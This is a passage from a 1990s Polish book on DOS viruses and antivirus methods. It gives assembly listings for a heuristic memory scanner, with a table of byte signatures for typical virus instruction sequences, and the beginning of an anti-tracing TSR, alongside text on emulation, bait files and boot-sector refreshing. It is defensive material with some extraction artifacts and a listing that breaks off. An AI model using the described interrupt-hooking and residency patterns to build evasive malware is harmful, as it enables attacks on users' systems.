TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0
OffsetyKomunikatow dw offset TeBezBledu ; BlBezBledu equ 00h

background image

dw offset TeBrakParametrow ; BlBrakParametrow equ 01h
dw offset TeBrakNazwyPliku ; BlBrakNazwyPliku equ 02h
dw offset TeBrakCiagu ; BlBrakCiagu equ 03h
dw offset TeZlyCiag ; BlZlyCiag equ 04h
dw offset TeBrakPlikuNaDysku ; BlBrakPlikuNaDysku equ 05h
dw offset TeBlad_ARIF ; BlBlad_ARIF equ 06h
dw offset TeZlyAtrybutPliku ; BlZlyAtrybutPliku equ 07h
dw offset TeBrakDostepuDoPliku ; BlBrakDostepuDoPliku equ 08h
dw offset TeNieMogeOtworzyc ; BlNieMogeOtworzyc equ 09h
dw offset TeNieMogeCzytac ; BlNieMogeCzytac equ 0Ah
dw offset TeNieMogeZamknac ; BlNieMogeZamknac equ 0Bh
dw offset TePlikZaKrotki ; BlPlikZaKrotki equ 0Ch
TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0
TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil '
db DrUnIntDec
dw offset IleZnalezionych
db ' raz(y) w pliku "',DrPlik,'" !',0
TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji '
db DrUnIntHex
dw offset AdresZnalezienia
db ','
db DrUnIntDec
dw offset AdresZnalezienia
db 0
HexChars db '0123456789ABCDEF'
TablicaWrostkow db DrPlik
dw offset NazwaPliku
db DrCiag
dw offset Ciag
db DrUnIntDec
dw offset Bin2DecUnInt32
db DrUnIntHex
dw offset Bin2HexUnInt32
NumerBledu db ?
MojAdresPSP dw ?
AdresCzytania dd ?
AdresZnalezienia dd ?
Przeczytane dw ?
IleZnalezionych dd ?
DlugoscCiagu dw ?
AbsDlugoscCiagu dw ?
StareDTAOfs dw ?
StareDTASeg dw ?
StareI24Ofs dw ?
StareI24Seg dw ?
ZmienAtrPliku db ?
Hex2DecBufor db 11 dup(?)

background image

CiagStart:
Ciag db RozmiarCiagu dup(?)
CiagKoniec:
NazwaPliku db DlugNazwyPliku dup(?)
BufDTA DTA_STRUC <>
SKANER ENDS

;-------------------------------------------------------------------
; Segment DTA
; do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow)
;-------------------------------------------------------------------
ProgDTA SEGMENT
BuforDanych db RozmiarBuforaDanych dup(?) ; bufor na dane z pliku
ProgDTA ENDS

;-------------------------------------------------------------------
; Segment Stosu
;-------------------------------------------------------------------
ProgStos segment word stack 'STACK' ; ustaw STOS
dw RozmiarStosu dup(?)
ProgStos ends

end start

12.2. Heurystycze wyszukiwanie wirusów
Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki,
stąd techniki wykorzystywane w pierwowzorach są bez większych zmian
implementowane w kolejnych, nowych pokoleniach wirusów.
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę
heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości
charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach,
można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje
wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy
okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka
instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie
typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik,
zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie
nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego
jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji
zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb
krokowy, emulacja procesora).
CMP AX, 4B00h ; sprawdƒ czy jest uruchamiany jaki£ program
; 3D,00,4B kod maszynowy rozkazu
CMP DS:[0],Z ; czy ostatni blok pamiÛci
; 80,3E,00,00, 5A kod maszynowy rozkazu
MOV AX, 2521h ; funkcja DOS ustaw adres przerwania 21h

background image

INT 21h ; wywo│aj funkcjÛ B8,21,25,CD,21 kod maszynowy
; sekwencji
MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w nag│¾wku MCB
; C7,06,01,00,08,00 kod maszynowy instrukcji
CALL NEXT ; weƒ relatywny offset NEXT:
; E8,00,00 kod instrukcji
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez
programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane
przez wirusy.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; HEUR v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program przeglada bloki MCB obecne w systemie i poszukuje w ;
; nich kilku standardowo wystepujacych w wirusach sekwencji ;
; Przy jego uzyciu mozna wykryc w pamieci niektore wirusy ;
; rezydetne ;
;----------------------------------------------------------------------------;
; Dane techniczne ;
;----------------------------------------------------------------------------;
; ;
; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po ;
; uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu ;
; Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub ;
; buforach programow cache (np. SMARTDRV) ;
; ;
; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0) ;
; ;;
;; ;;
;----------------------------------------------------------------------------;

JUMPS
HEUR SEGMENT
ORG 100h
ASSUME CS:HEUR, DS:HEUR

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /

IleSygnZebyAlarm = 10 ; okresla, ile sygnatur musi wystapic
; w badanym bloku MCB, aby potraktowac
; jego zawartosc za podejrzana
; i wyswietlic ostrzezenie

background image

DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h
; okresla dlugosc programu w pamieci

Sygn struc ; \
SygnNazwa db 45 dup (?) ; \
SygnDlug dw 0 ; \
Sygn00 db 0 ; \
Sygn01 db 0 ; \
Sygn02 db 0 ; \ struktura opisujaca
Sygn03 db 0 ; / sygnature wirusa
Sygn04 db 0 ; /
Sygn05 db 0 ; /
Sygn06 db 0 ; /
Sygn07 db 0 ; /
Sygn ends ; /

DlugoscSygnatury = Size Sygn ; dlugosc struktury

;-----------------------------------------------------------------------------
Start:
lea si,TeCopyRight ; SI=ofset do informacji o programie
Call DrukLn ; wyswietl info o programie

Call SzukajHeur ; szukaj sekwencji w pamieci

mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje

;-----------------------------------------------------------------------------
SzukajHeur:
push es ax bx cx dx ; zachowaj zmieniane rejestry

mov bx,IleSygnatur ; ile sygnatur do odXORowania

lea si,Sygnatury ; skad pobierac sygnatury
add si,size SygnNazwa+size SygnDlug
; i gdzie XORowac bajt
XORujSygnature:
xor byte ptr [si],0AAh ; przywroc prawdziwy bajt sygnatury
add si,DlugoscSygnatury ; wez kolejna sygnature

dec bx ; zmniejsz licznik sygnatur
jnz XORujSygnature ; powtarzaj dla kazdej sygnatury

mov IloscSygn,0
mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?

background image

int 21h ; wywolaj funkcje

push ax ; zachowaj informacje na pozniej

mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki UMB
int 21h ; wywolaj funkcje

mov ah,52h ; funkcja DOS - wez adres listy list LL
int 21h ; wywolaj funkcje

mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB

NastepnyMCB: ; kolejne bloki MCB

mov es,ax ; ES=MCB
mov bl,byte ptr es:[0] ; zachowaj info o znaczniku bloku

mov dx,es:[0003] ; DX=rozmiar bloku MCB
mov cx,es:[0001] ; CX=adres PSP z bloku MCB
Call SzukajWBloku

stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[0003] ; dodaj rozmiar bloku MCB+1
; AX=nastepny blok MCB
cmp bl,'M' ; czy to posredni blok ?
je NastepnyMCB ; TAK - przegladaj

cmp bl,'Z' ; czy to ostatni blok ?
je OstatniBlokMCB ; TAK - zakoncz przegladanie

; zly blok MCB - naruszona struktura
lea si,TeZlyMCB ; \ wyswietl komunikat
Call DrukLN ; / o blednym bloku MCB

OstatniBlokMCB:

pop bx ; przywroc info o UMB

mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje

pop dx cx bx ax es ; przywroc zmieniane rejestry

cmp IloscSygn,0 ; \
jne SzukajHeurPowrot ; \

background image

; - jezeli nie znalazl zadnej
lea si,TeNieMaSygnatur ; / sygnatury to wyswietl komunikat
Call DrukLN ; /

SzukajHeurPowrot:
ret ; powrot

;-----------------------------------------------------------------------------
SzukajWBloku: ; szuka sygnatury w bloku MCB
; AX=blok MCB
; DX=dlugosc bloku w paragrafach
push ds es ax bx cx dx si di ; zachowaj zmieniane rejestry

or cx,cx ; czy blok jest nieuzywany ?
je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i powroc

mov AdresMCB,ax ; zapamietaj adres MCB

inc ax ; ES:0= MCB+1:0
mov es,ax ; ES wskazuje na dane w bloku

lea si,TeSprawdzam ; \
Call Druk ; \
lea si,TeBlokMCB ; \
Call Druk ; \
mov ax,AdresMCB ; \
Call DrukHEX16 ; \ wypisz info o szukaniu
lea si,TeRozmiar ; / w bloku MCB i podaj jego
Call Druk ; / adres, dlugosc
mov ax,dx ; /
Call DrukHex16 ; /
lea si,TeParagraf ; /
Call DrukLn ; /

mov bx,cs ; \
mov ax,es ; \ czy to MCB programu HEUR ?
cmp ax,bx ; / TAK-nie sprawdzaj kodu programu
jne InnyBlok ; / ale sprawdz poza nim

mov ax,DlugProgPara
sub dx,ax ; odejmij dlugosc kodu
or dx,dx ; \ czy nie odjete za duzo ?
jz SzukajWBlokuPowrot ; /

add ax,AdresMCB ; \ ES=dane poza kodem programu
mov es,ax ; /

background image

InnyBlok:
or dx,dx ; \ pomin blok, gdy dlugosc =0
je SzukajWBlokuPowrot ; /

mov IloscBiezSygn,0 ; licznik wystapien w bloku
cld ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych
xor di,di ; dane sa pod ES:0000

SzukajDalej:

mov bx,IleSygnatur ; ustaw licznik sygnatur

lea si,Sygnatury ; podaj, skad pobierac sygnatury
SzukajSygnature:
push si ; zachowaj zmieniane SI

mov bp,si ; zachowaj ofset do nazwy sygnatury
add si,size SygnNazwa+size SygnDlug
; dodaj ofset do sygnatury

lodsb ; wez 1-szy bajt sygnatury
scasb ; czy=bajt w pamieci ?
jnz NastepnaSygnatura ; NIE - sprawdz kolejna sygnature
; TAK - porownaj cala sygnature
mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury
dec cx ; pierwszego bajtu nie trzeba
; porownywac
push di ; DI jest pozniej potrzebne wiec zachowaj
rep cmpsb ; porownaj sygnature z pamiecia
pop di ; przywroc DI
jnz NastepnaSygnatura ; NIE - nie ma sygnatury
; TAK - sygnatura znaleziona
inc IloscSygn ; zwieksz ilosc wystapien (globalna)
inc IloscBiezSygn ; zwieksz ilosc wystapien (w MCB)

lea si,TeAdres ; \
Call Druk ; \ wyswietl jaka sygnatura
mov ax,es ; \ zostala znaleziona
Call DrukHEX16 ; \ i pod jakim adresem
mov ax,0E3Ah ; \
int 10h ; \
mov ax,di ; \
dec ax ; /
Call DrukHex16 ; /
lea si,TeSygnatura ; /
Call Druk ; /
mov si,bp ; /

background image

add si,SygnNazwa ; /
Call DrukLn ; /

NastepnaSygnatura:

pop si ; przywroc SI
add si,DlugoscSygnatury ; i ustaw na nastepna sygnature

dec di ; ustaw wskaznik na poprzedni bajt
dec bx ; zmniejsz licznik sygnatur
jnz SzukajSygnature ; jezeli nie, to sprawdz kolejna sygnature

NastepnyBajt:
inc di ; wskaznik na nastepny bajt w bloku
and di,15 ; czy ofset>15
jnz SzukajDalej ; NIE - szukaj sygnatur
; TAK - zwieksz numer segmentu
mov di,es ; \
inc di ; \ ES:DI=ES:0010:=ES+1:0
mov es,di ; /
xor di,di ; /
NieZmienSeg:
dec dx ; zmniejsz ilosc paragrafow w bloku
jnz SzukajDalej ; NIE - kontynuuj sprawdzanie

cmp IloscBiezSygn,IleSygnZebyAlarm
; czy ilosc wykrytych sygnatur jest
; odpowiednio duza ?
jb SzukajWBlokuPowrot ; NIE - powrot

lea si,TePrawdopodWirus ; \ TAK - wypisz o tym komunikat
Call DrukLn ; /

SzukajWBlokuPowrot:
pop di si dx cx bx ax es ds ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
DrukLn:
push si ; zachowaj zmieniany rejestr

call Druk ; wyswietl tekst z CS:SI

lea si,TeCRLF ; \ i przejdz do nastepnej linii
Call Druk ; /

background image

pop si ; przywroc zmieniany rejestr

ret ; powrot

;-----------------------------------------------------------------------------
Druk:
push ax si ; zachowaj zmieniane rejestry

DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak tekstu
or al,al ; czy NUL ?

jz DrukPowrot ; TAK - koniec tekstu

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

jmp short DrukPetla ; pobierz kolejny znak tekstu

DrukPowrot:
pop si ax ; przywroc zmieniane rejestry

ret ; powrot

;-----------------------------------------------------------------------------
DrukHEX16:
push ax ; zachowaj 8 dolnych bitow
mov al,ah ; AL=AH=wyzsze 8 bitow
Call DrukHEX8 ; wyswietl wyzsze 8 bitow
pop ax ; przywroc 8 dolnych bitow
DrukHEX8:
push ax ; zachowaj 4 dolne bity
shr al,1 ; \ wez 4 gorne bity
shr al,1 ; \ do AL (podziel przez 16)
shr al,1 ; /
shr al,1 ; /
Call DrukHEX4 ; wyswietl 4 gorne bity
pop ax ; przywroc 4 dolne bity
and al,15 ; utworz z nich liczbe 0..F
DrukHEX4:
push bx ; BX bedzie potrzebne wiec zachowaj
lea bx,HexZnaki ; ustaw BX na tablice konwersji
xlatb ; konwertuj 0..F na '0'..'Z','A'..'Z'
; AL=cyfra
mov ah,0Eh ; funkcja BIOS - wyswietl znak z AL
int 10h ; wywoluje funkcje

background image

pop bx ; przywroc BX

ret ; powrot

HexZnaki db '0123456789ABCDEF' ; tablica konwersji
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'_ Szukam sygnatur ...',NUL
db CR,LF
TeCRLF db CR,LF,NUL

TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL
TeSygnatura db ': Znaleziona sygnatura : ',NUL
TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL
TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze
byc wirus !'
db CR,LF,' Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL
TeAdres db ' Adres=',NUL
TeBlokMCB db ' MCB=',NUL
TeRozmiar db ', Rozmiar MCB=',NUL
TeParagraf db ' paragrafow',NUL
TeSprawdzam db '_ Sprawdzam',NUL

Sygnatury:
Sygn <'CALL $+3; POP BX ',4,0E8h xor 0AAh,000h,000h,05Bh>
Sygn <'CALL $+3; POP BP ',4,0E8h xor 0AAh,000h,000h,05Dh>
Sygn <'CALL $+3; POP SI ',4,0E8h xor 0AAh,000h,000h,05Eh>
Sygn <'CALL $+3; POP DI ',4,0E8h xor 0AAh,000h,000h,05Fh>
Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor 0AAh,000h,04Bh,074h>
Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor 0AAh,000h,04Bh,075h>
Sygn <'CMP AX,"MZ" ',4,03Dh xor 0AAh,05Ah,04Dh,075h>
Sygn <'CMP AX,"ZM" ',4,03Dh xor 0AAh,04Dh,05Ah,075h>
Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor 0AAh,021h,025h,0CDh,021h>
Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor 0AAh,052h,0CDh,021h>
Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,043h,0E8h>
Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,043h,0E8h>
Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,001h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,057h,0E8h>
Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,057h,0E8h>
Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,001h,057h,02Eh,09Ch,0FFh>

background image

Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,03Dh,0E8h>
Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,002h,03Dh,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,042h,0E8h>
Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,042h,0E8h>
Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,002h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor 0AAh,03Fh,0E8h>
Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor
0AAh,03Fh,02Eh,09Ch,0FFh>
Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor 0AAh,040h,0E8h>
Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor
0AAh,040h,02Eh,09Ch,0FFh>
Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor 0AAh,03Fh,05Ah,074h>
Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor 0AAh,03Fh,05Ah,075h>
Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,074h>
Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,075h>
Sygn <'MOV DS:[1],0008h ',6,0C7h xor
0AAh,006h,001h,000h,008h,000h>
Sygn <'MOV ES:[1],0008h ',7,026h xor
0AAh,0C7h,006h,001h,000h,008h,000h>
Sygn <'MOV DS:[100h],???? ',4,0C7h xor 0AAh,006h,000h,001h>
Sygn <'MOV ES:[100h],???? ',5,026h xor 0AAh,0C7h,006h,000h,001h>
Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor
0AAh,000h,001h,050h,0C3h>
Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor
0AAh,000h,001h,051h,0C3h>
Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor
0AAh,000h,001h,052h,0C3h>
Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor
0AAh,000h,001h,053h,0C3h>
Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h>
Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h>
Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h>
Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h>
Sygn <'MOV DS:[0086],CS ',4,08Ch xor 0AAh,00Eh,086h,000h>
Sygn <'MOV ES:[0086],CS ',5,026h xor 0AAh,08Ch,00Eh,086h,000h>
Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor
0AAh,0D8h,048h,08Eh,0D8h>
Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor
0AAh,0C0h,048h,08Eh,0C0h>
Sygn <'MOV AL,3; IRET ',3,0B4h xor 0AAh,003h,0CFh>
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury

AdresMCB dw ?

background image

IloscBiezSygn dw ?
IloscSygn dw ?

Koniec:
HEUR ENDS

END Start

12.3. Tryb krokowy
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować
zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej.
Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora.
Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą
odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej
wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie
wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa
(jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu
dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany
wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor
nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie
ma w nim wirusa.

12.4. Emulacja procesora
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać,
autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania
programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki
któremu mogą emulować wykonywanie początkowych intrukcji programu, mając
jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii
80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji
wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji,
której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z
wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h,
67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych.
Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych,
które po ich napotkaniu kończyły sprawdzanie pliku.

12.5. Przynęty (ang. baits, decoys)
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy,
dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu
składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja
zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich
plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i
zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich
zainfekowanie.
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to
zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest

background image

znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie
zainfekować takiego pliku.

12.6. Odświeżanie programów systemowych w sektorach
Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-
sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego
odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez
niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż
niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach
systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego
startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie
będzie można odczytać zapisanych na dysku danych.
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości
sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później
odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa
techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.

12.7. Blokowanie programów używających trybu krokowego
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania
wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do
przerwań.
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h,
2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu
krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu
oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę
przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania
znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie
wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli
na niebezpieczne działania.
Powyższą technikę demonstruje poniższy program.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program nie pozwala przejsc w trybie krokowym ;
; przez przerwania 13h i 21h. ;
; W efekcie wirusy uzywajace tracingu do odnalezienia ;
; oryginalnych procedur obslugi tych przerwan nie znajda ;
; ostatniego elementu lancucha, a tylko element posredni. ;
; ;
; Kompilacja : ;
; TASM ANTYTRAC.ASM ;
; TLINK /t ANTYTRAC.OBJ ;
; ;

background image

;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych

ANTYTRAC SEGMENT ; segment kodu i danych

ORG 100h ; program jest typu COM

ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC

DlugoscKoduTSR = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h
; oblicza, ile pamieci zajmie TSR

PoczatekKoduTSR:
Start: ; tu zaczyna sie program
jmp Poczatek ; skocz i zainstaluj lub odinstaluj program

NoweInt21h:
cmp ax,3521h ; czy to funkcja 3521h ?
jne Nie3521 ; NIE - skocz na koniec obslugi

cmp bp,0BACAh ; czy to ponownie uruchomiony program ?
; wywolal te funkcje ?
jne Nie3521 ; NIE - skocz na koniec obslugi

; TAK - odinstaluj wirusa
push es ds ; zachowaj zmieniane rejestry

lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres INT 21h
mov ax,2521h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje (rekurencyjnie)

lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres INT 13h
mov ax,2513h ; funkcja DOS - ustaw nowe przerwanie
int 21h ; wywolaj funkcje

push cs
pop es ; ES=zwalniany segment
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje

pop ds es ; przywroc zmieniane rejestry

mov ax,bp ; przekaz informacje do wywolujacego
; programu

background image

iret ; powrot z przerwania

Nie3521:

Call Wylacz_TF ; jezeli bit TF=1, ustaw TF=0

db 0EAh ; czesc rozkazu JMP FAR
StareInt21 dd ? ; koncowka rozkazu JMP FAR

NoweInt13h:

Call Wylacz_TF ; jezeli TF=1, ustaw TF=0

db 0EAh ; czesc rozkazu JMP FAR
StareInt13 dd ? ; koncowka rozkazu JMP FAR

Wylacz_TF:
cli ; zablokuj przerwania
push ax bx ds ; zachowaj zmieniane rejestry

push ss ; \ za pomoca tej sztuczki zwykle
pop ss ; \ mozna pobrac "prawdziwy" obraz
pushf ; / rejestru znacznikow
pop ax ; /

test ah,1 ; czy TF ustawiony ?

jz TF_NieUstawiony ; NIE - nie trzeba nic robic

mov ax,0123h ;
push ax ; ss:[sp]:=0123
pop ax ; ax:=ss:[sp]:=0123
dec sp ; sp=sp-2-wskazuje na wartosc,
dec sp ; ktora byla sciagana ze stosu
pop ax ; ax:=ss:[sp]:=0123 jezeli TF=0
cmp ax,0123h
jz TF_NieUstawiony ; NIE - nie trzeba nic robic

xor ax,ax ; \ DS wskazuje na tablice przerwan
mov ds,ax ; /

lds bx,ds:[01h*4] ; DS:BX wskazuje na adres obslugi
; przerwania krokowego INT 1
mov al,0CFh ; kod 0CFh oznacza IRET
xchg al,ds:[bx] ; wymien pierwszy bajt w procedurze
; obslugi INT 1 - teraz jest tylko

background image

; IRET

push ax ; zachowaj pierwszy bajt procedury

pushf ; \
pop ax ; \ zeruj TF
and ah,0FEh ; -
push ax ; /
popf ; /

pop ax ; przywroc pierwszy bajt

mov ds:[bx],al ; i zapisz go z powrotem

TF_NieUstawiony:
pop ds bx ax ; przywroc zmieniane rejestry

ret ; powrot z procedury

KoniecKoduTSR:

Poczatek:
mov es,ds:[2Ch] ; ES=blok otoczenia programu
mov ah,49h ; funkcja DOS - zwolnij blok pamieci
int 21h ; wywolaj funkcje

lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /

mov bp,0BACAh ; \ wez stare INT 21h i jednoczesnie
mov ax,3521h ; - odinstaluj program, jezeli juz
int 21h ; / byl wczesniej zainstalowany

cmp ax,0BACAh ; czy zostal odinstalowany ?
je Deinstal ; TAK - wyswietl komunikat i koncz

mov word ptr [StareInt21],bx ; \ zachowaj stare INT 21
mov word ptr [StareInt21+2],es ; /

mov ax,3513h ; funkcja DOS - wez stare INT 13h
int 21h ; wywolaj funkcje

mov word ptr [StareInt13],bx ; \ zachowaj stare INT 13
mov word ptr [StareInt13+2],es ; /

lea si,TeZainstalowany ; \ pokaz info o programie
Call Print ; /

background image

lea dx,NoweInt21h ; DS:DX wskazuje na nowa procedure
mov ax,2521h ; funkcja DOS - ustaw nowa INT 21
int 21h ; wywolaj funkcje

